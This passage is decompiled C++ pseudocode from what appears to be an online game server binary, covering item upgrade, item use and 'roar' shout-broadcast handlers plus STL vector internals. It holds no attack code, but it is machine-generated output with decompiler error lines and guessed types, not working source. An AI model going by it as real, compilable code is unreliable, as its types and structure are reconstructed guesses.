(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); LOWORD(v120) = *(_WORD *)(v120 + 4); (*(void (__thiscall **)(int, int, void *, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v119 + 56))( v119, v120, pRawMiddleCell, &iti, &RawMiddleItemInven, &RawMiddleItemInven); } } v121 = *(_DWORD *)v4; if ( nRaw_Lot == 1 ) { v122 = (*(int (__thiscall **)(void *))(v121 + 2004))(v4); v123 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, const void *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v122 + 48))( v122, *(_WORD *)(v123 + 4), pRawCell, &RawItemInven, &RawItemInven); } else { memcpy(&iti, pRawCell, 0x6Cu); v158 = *((_WORD *)pRawCell + 54); v159 = *((_BYTE *)pRawCell + 110); --v157; v124 = (*(int (__thiscall **)(void *))(v121 + 2004))(v4); v125 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); LOWORD(v125) = *(_WORD *)(v125 + 4); (*(void (__thiscall **)(int, int, const void *, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v124 + 56))( v124, v125, pRawCell, &iti, &RawItemInven, &RawItemInven); } v126 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v127 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v126 + 64))( v126, *(_WORD *)(v127 + 4), giftmoney, 0, -1); v128 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v128 + 4); goto LABEL_106; } goto LABEL_15; } if ( AssertClass::operator__( &shineassert, v26 < (signed int)pRawCell, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong raw_middle slot", v26) ) { LABEL_49: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2260); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD))(*((_DWORD *)v4 + 14470) + 16))( (char *)v4 + 57880, 9, *(_BYTE *)(netcmd + 10)) ) goto LABEL_115; v27 = (**(int (__thiscall ***)(_DWORD, _DWORD))v7)((char *)v4 + 35680, *(_BYTE *)(netcmd + 10)); v28 = **(_DWORD **)(v27 + 112); pRawMiddleCell = (void *)(v27 + 8); nRawMiddle_Lot = (*(int (__stdcall **)(int))(v28 + 24))(v27 + 8); v29 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)pRawMiddleCell); if ( !v29 ) goto LABEL_49; v30 = v29->data; if ( !v30 ) { LABEL_115: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2260); goto LABEL_106; } if ( (signed int)nRawMiddle_Lot >= 1 && nRawMiddle_Lot <= v30->MaxLot ) { *(_WORD *)((char *)v4 + 139485) = *(_WORD *)pRawMiddleCell; goto LABEL_58; } LABEL_50: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2257); goto LABEL_106; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2262); LABEL_110: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ"); } //----- (00517890) -------------------------------------------------------- #error "517890: undefined or illegal type '#593' (funcsize=260)" //----- (00517BF0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_USE_ACK(__int16 index) { AssertClass::ac_AssertFail(&shineassert, "ShineObject::so_NC_ITEMDB_USE_ACK", 0); } //----- (00517C10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseBroadcast(int this, int useitem, __int16 itmid) { int v3; // esi@1 char *v4; // eax@2 int v5; // ecx@2 int v6; // ST04_4@2 int v7; // eax@2 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@2 int v9; // [sp+18h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(useitem + 12) ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12329; *((_WORD *)v4 + 1) = *(_WORD *)(this + 4); v5 = *(_DWORD *)(this + 78); *((_DWORD *)v4 + 1) = *(_DWORD *)v5; *((_DWORD *)v4 + 2) = *(_DWORD *)(v5 + 4); *((_WORD *)v4 + 6) = itmid; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 14); v6 = *(_DWORD *)(v3 + 78); v9 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v7, v6, 0, 0, (int)&alchat, 1, 65535); v9 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (00517CC0) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (00517CE0) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueRoar *content) { MemoryQueue *v3; // eax@1 unsigned int v4; // ecx@1 v3 = this; v4 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); v3->mq_Pointer.value = v4; v3->mq_Buffer[v4].handle = hnd; memcpy(&v3->mq_Buffer[v3->mq_Pointer.value].content, content, sizeof(v3->mq_Buffer[v3->mq_Pointer.value].content)); return LOWORD(v3->mq_Pointer.value); } //----- (00517D40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S5_55 & 1) ) { _S5_55 |= 1u; cmc_85.cmc_AllowMode = 70; atexit(_E6_67); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_85.cmc_AllowMode ) *((_DWORD *)v4 + 1796) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD"); } //----- (00517E20) -------------------------------------------------------- #error "517E20: undefined or illegal type '#593' (funcsize=75)" //----- (00517F30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK(void *this, int index) { void *v2; // esi@1 int v3; // eax@1 DebugLogging *v4; // esi@2 _iobuf *v5; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1792, 9); v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, int, _DWORD))(*(_DWORD *)v3 + 32))(v3, v2, index, 0) ) { v4 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK : "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } DebugLogging::operator<<(v4, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00518050) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemUse(void *this, int itminf, int invenslot) { int v3; // esi@1 int v4; // edi@1 __int16 *v5; // ebx@1 int v6; // eax@2 UseEffect::UIE_Functions *v7; // eax@5 unsigned __int16 v8; // ax@7 int v9; // edx@7 int v10; // edi@10 int v11; // eax@10 int useitem; // [sp+28h] [bp-14h]@7 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_ItemUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v3 + 35680))(v3 + 35680, (unsigned __int8)invenslot); v5 = (__int16 *)(v4 + 8); if ( ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v4 + 8)) ) { v6 = (*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 24))(v4 + 8); if ( v6 > 0 ) { if ( *v5 < useditemeffect.uie_MaxItemID ) v7 = &useditemeffect.uie_FuncStruct[(unsigned __int16)*v5]; else v7 = useditemeffect.uie_FuncStruct; useitem = (int)v7; v8 = (**(int (__stdcall ***)(_DWORD, _DWORD))v7->useitemclass)(v3, v4); v9 = *(_DWORD *)v3; if ( v8 == 1792 ) { (*(void (__thiscall **)(int, signed int, signed int))(v9 + 772))(v3, 12, 26); ShineObjectClass::ShinePlayer::sp_ItemUseBroadcast(v3, useitem, *v5); if ( *(_WORD *)(v3 + 7188) == 29200 ) { v10 = *(_DWORD *)v3; v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 988))(v3); (*(void (__thiscall **)(int, _DWORD, unsigned int))(v10 + 884))( v3, *(_WORD *)(v3 + 7188), ((signed int)((unsigned __int64)(v11 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v11 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)); } (*(void (__stdcall **)(int, int, int, int))(**(_DWORD **)(useitem + 4) + 8))(v3, v3 + 35680, itminf, invenslot); } else { (*(void (__thiscall **)(int, _DWORD, signed int))(v9 + 2332))(v3, v8, 9); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Try to use lot 0 item", v6 > 0); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v3 + 2332))(v3, 1795, 9); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemUse"); } //----- (00518200) -------------------------------------------------------- #error "518200: undefined or illegal type '#734' (funcsize=66)" //----- (00518310) -------------------------------------------------------- #error "518310: undefined or illegal type '#734' (funcsize=286)" //----- (005186E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // eax@5 int v6; // ST0C_4@8 signed int v7; // eax@8 int v8; // eax@12 __int16 v9; // cx@12 unsigned __int16 *v10; // edi@12 int v11; // eax@15 ItemDataBox::ItemDataBoxIndex *v12; // eax@17 ItemDataBox::ItemDataBoxIndex *v13; // edi@17 int v14; // eax@19 void *v15; // ecx@23 int v16; // eax@25 unsigned int v17; // edx@27 int v18; // esi@27 unsigned __int16 v19; // ax@27 FunctionEntarance _; // [sp+14h] [bp-A4h]@1 char tmp[128]; // [sp+18h] [bp-A0h]@27 int v22; // [sp+98h] [bp-20h]@27 unsigned int v23; // [sp+A4h] [bp-14h]@1 int v24; // [sp+B4h] [bp-4h]@1 int v25; // [sp+B8h] [bp+0h]@1 v4 = this; v23 = (unsigned int)&v25 ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; if ( !(_S13_25 & 1) ) { _S13_25 |= 1u; cmc_86.cmc_AllowMode = 86; atexit(_E14_21); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_86.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1793); LABEL_31: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 151) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1808); goto LABEL_31; } if ( *((_WORD *)v4 + 34880) & 0xC ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 12, 578); goto LABEL_31; } v6 = *(_BYTE *)(netcmd + 2); v7 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 8920) + 8))((char *)v4 + 35680); if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v7, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ : wrong slot", v6) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1794); } else { if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD, _DWORD))(*((_DWORD *)v4 + 14470) + 8))( (char *)v4 + 57880, 9, *(_BYTE *)(netcmd + 2), *((_WORD *)v4 + 71579)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1802); } else { v8 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, *(_BYTE *)(netcmd + 2)); v9 = *(_WORD *)(v8 + 8); v10 = (unsigned __int16 *)(v8 + 8); if ( v9 == unk_131DF0EC || v9 == unk_131DF10E ) { v11 = (*(int (__stdcall **)(unsigned __int16 *))(**(_DWORD **)(v8 + 112) + 24))(v10); if ( AssertClass::operator__( &shineassert, v11 > 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ : Try to use lot 0 item", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1795); } else { v12 = ItemDataBox::operator__(&itemdatabox, *v10); v13 = v12; v14 = v12 && v12->data; if ( AssertClass::operator__( &shineassert, v14, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1795); } else { v15 = *(void **)((char *)v4 + 98); if ( v15 && FieldMap::fm_GetGuildTournamentSystem(v15) && (v16 = FieldMap::fm_GetGuildTournamentSystem(*(void **)((char *)v4 + 98)), GuildTournamentSystem::IsPlayerRegister((GuildTournamentSystem *)v16, (#593 *)v4)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1824); } else { UseEffect::UseItemNormal::uib_AfterCast( &ui_Roar, (#734 *)v4, (ItemBag *)v4 + 8920, v13, *(_BYTE *)(netcmd + 2)); LOBYTE(v22) = *(_BYTE *)(netcmd + 3); v17 = (unsigned __int8)v22; v18 = netcmd + 4; memcpy(tmp, (const void *)(netcmd + 4), 4 * ((unsigned int)(unsigned __int8)v22 >> 2)); v19 = *((_WORD *)v4 + 2); memcpy(&tmp[4 * (v17 >> 2)], (const void *)(v18 + 4 * (v17 >> 2)), v17 & 3); *((_WORD *)v4 + 71608) = MemoryQueue::mq_Store(&queue_roar, v19, (MemoryQueueRoar *)tmp); } } } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1794); } } } v24 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 5186E0: using guessed type char tmp[128]; //----- (00518A50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 char *v3; // edi@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // eax@3 DebugLogging *v7; // esi@3 _iobuf *v8; // eax@5 DebugLogging *v9; // eax@7 DebugLogging *v10; // eax@7 int v11; // eax@9 unsigned int v12; // ecx@9 char *v13; // ecx@9 char *v14; // ST04_4@9 DebugLogging *v15; // eax@9 DebugLogging *v16; // eax@9 int v17; // eax@12 FunctionEntarance _; // [sp+10h] [bp-24h]@1 int name; // [sp+14h] [bp-20h]@12 int v20; // [sp+18h] [bp-1Ch]@12 int v21; // [sp+1Ch] [bp-18h]@12 int v22; // [sp+20h] [bp-14h]@12 unsigned int v23; // [sp+24h] [bp-10h]@1 int v24; // [sp+30h] [bp-4h]@1 v1 = this; v23 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 71608); v24 = 0; if ( v2 < 0x80u && (v3 = (char *)&queue_roar + 132 * v2) != 0 ) { if ( *((_WORD *)v1 + 2) == *(_WORD *)v3 ) { if ( (unsigned __int8)v3[130] >= 0x80u ) v3[130] = 127; v3[(unsigned __int8)v3[130] + 2] = 0; v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1384))(v1); name = *(_DWORD *)v17; v20 = *(_DWORD *)(v17 + 4); v21 = *(_DWORD *)(v17 + 8); v22 = *(_DWORD *)(v17 + 12); CAnnounceSystem::AnnounceSystem_Roar(&gAnnounceSystem, (Name4 *)&name, v3 + 2); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v1 + 776))(v1, 8, 76, 1792); } else { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1384))(v1); v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)v11; *((_DWORD *)v13 + 1) = *(_DWORD *)(v11 + 4); *((_DWORD *)v13 + 2) = *(_DWORD *)(v11 + 8); v14 = v13; *((_DWORD *)v13 + 3) = *(_DWORD *)(v11 + 12); v13[16] = 0; v15 = DebugLogging::operator<<(&ChargedItemLog, "Roar Null "); v16 = DebugLogging::operator<<(v15, v14); DebugLogging::operator<<(v16, &deb_LF); } v24 = -1; } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "Roar Null return "); v7 = v6; if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } v9 = DebugLogging::operator<<(v7, (char *)&stru_63450C); v10 = DebugLogging::operator<<(v9, v5); DebugLogging::operator<<(v10, &deb_LF); v24 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"); __security_check_cookie((unsigned int)&_ ^ v23); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00518CA0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00518D10) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, LuaFuncTrigger::TriggerUseItem *const *_Val) { std::vector > *v4; // esi@1 LuaFuncTrigger::TriggerUseItem **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 LuaFuncTrigger::TriggerUseItem **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (LuaFuncTrigger::TriggerUseItem *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (LuaFuncTrigger::TriggerUseItem **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (LuaFuncTrigger::TriggerUseItem **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (LuaFuncTrigger::TriggerUseItem **)((char *)_Newvec + _Counta); v4->_Mylast = (LuaFuncTrigger::TriggerUseItem **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (LuaFuncTrigger::TriggerUseItem **)_Newvec; } } } //----- (00518EF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseReq_Equip(void *this, int slot, int invcell, ItemActionArgument ***idbi) { int v4; // esi@1 ItemActionArgument *v5; // edx@3 ItemActionArgument *v6; // ST08_4@3 ItemActionObserveManager *v7; // eax@3 unsigned __int16 v8; // [sp+0h] [bp-44h]@0 char ActionRt; // [sp+Ch] [bp-38h]@3 void *p; // [sp+10h] [bp-34h]@3 int v11; // [sp+14h] [bp-30h]@3 int v12; // [sp+18h] [bp-2Ch]@3 int arg; // [sp+1Ch] [bp-28h]@3 int v14; // [sp+20h] [bp-24h]@3 int v15; // [sp+24h] [bp-20h]@3 int v16; // [sp+28h] [bp-1Ch]@3 int v17; // [sp+2Ch] [bp-18h]@3 int v18; // [sp+30h] [bp-14h]@3 int v19; // [sp+34h] [bp-10h]@3 int v20; // [sp+40h] [bp-4h]@3 v4 = (int)this; if ( idbi && (*(int (**)(void))(*(_DWORD *)this + 1484))() ) { arg = 8; v14 = 1; v15 = 10; v16 = 0; v17 = v4; v18 = v4; v19 = v4; p = 0; v11 = 0; v12 = 0; v5 = (ItemActionArgument *)*(_WORD *)*idbi; v20 = 0; v6 = v5; v7 = (ItemActionObserveManager *)(*(int (__thiscall **)(int, char *))(*(_DWORD *)v4 + 1484))(v4, &ActionRt); if ( ItemActionObserveManager::EventRunByItemUse(v7, (ItemActionObserveManager::ActionResults *)&arg, v6, v8) == 1 ) (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 2332))(v4, 1792); else (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 2332))(v4, 1826); if ( p ) operator delete(p); } } //----- (00518FD0) -------------------------------------------------------- int __thiscall LuaFuncTrigger::FuncTrigger::ft_Find(LuaFuncTrigger::FuncTrigger *this, #593 *ply, std::vector > *vect) { std::vector > *v3; // esi@1 LuaFuncTrigger::FuncTrigger *v4; // ebx@1 std::vector > *i; // edi@3 LuaFuncTrigger::TriggerUseItem **v6; // edx@5 int v7; // ecx@6 LuaFuncTrigger::TriggerUseItem **v8; // eax@10 LuaFuncTrigger::TriggerUseItem **v9; // ecx@13 int result; // eax@14 v3 = vect; v4 = this; if ( vect->_Myfirst ) operator delete(vect->_Myfirst); v3->_Myfirst = 0; v3->_Mylast = 0; v3->_Myend = 0; for ( i = (std::vector > *)v4->baseclass_0._Myfirst; (LuaFuncTrigger::TriggerUseItem *)i != v4->baseclass_0._Mylast; i = (std::vector > *)((char *)i + 72) ) { if ( LuaFuncTrigger::TriggerElement::te_TriggerEvent((LuaFuncTrigger::TriggerElement *)i, ply) ) { v6 = v3->_Myfirst; vect = i; if ( v6 ) v7 = v3->_Mylast - v6; else v7 = 0; if ( v6 && v7 < v3->_Myend - v6 ) { v8 = v3->_Mylast; *v8 = (LuaFuncTrigger::TriggerUseItem *)i; v3->_Mylast = v8 + 1; } else { std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, 1u, (LuaFuncTrigger::TriggerUseItem *const *)&vect); } } } v9 = v3->_Myfirst; if ( v9 ) result = v3->_Mylast - v9; else result = 0; return result; } //----- (00519090) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char v5; // dl@1 int v6; // eax@5 int v7; // edx@11 int v8; // edi@18 int v9; // ST08_4@20 signed int v10; // eax@20 int v11; // eax@24 int v12; // ebx@24 ItemDataBox::ItemDataBoxIndex *v13; // eax@24 ItemDataBox::ItemDataBoxIndex *v14; // ebp@24 int v15; // eax@26 int v16; // eax@28 int v17; // edx@28 int v18; // edi@32 LuaFuncTrigger::TriggerUseItem **v19; // edi@39 int i; // ebx@39 signed int v21; // [sp+4h] [bp-40h]@4 int v22; // 